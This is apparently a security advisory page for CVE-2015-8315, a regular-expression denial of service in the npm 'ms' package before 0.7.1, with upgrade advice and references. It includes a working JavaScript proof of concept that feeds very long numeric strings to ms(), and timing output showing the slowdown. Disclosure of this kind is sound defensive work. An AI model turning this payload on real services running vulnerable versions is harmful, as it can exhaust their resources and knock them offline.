CVE-2015-8315

Description

Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of Concept ```javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ### Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s ```

How to fix CVE-2015-8315

To remediate CVE-2015-8315, upgrade the affected package to a fixed version below.

• —upgrade to 0.7.1 or later

Is CVE-2015-8315 being exploited?

Low — EPSS is 0.9%, meaning exploitation activity has not been observed at scale.

Affected packages (1)

• from 0, < 0.7.1

CVSS scores

References (8)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2015-8315
• WEBgithub.com/unshiftio/millisecond
• WEBnodesecurity.io/advisories/46
• WEBsupport.f5.com/csp/article/K46337613?utm_source=f5support&amp%3Butm_medium=RSS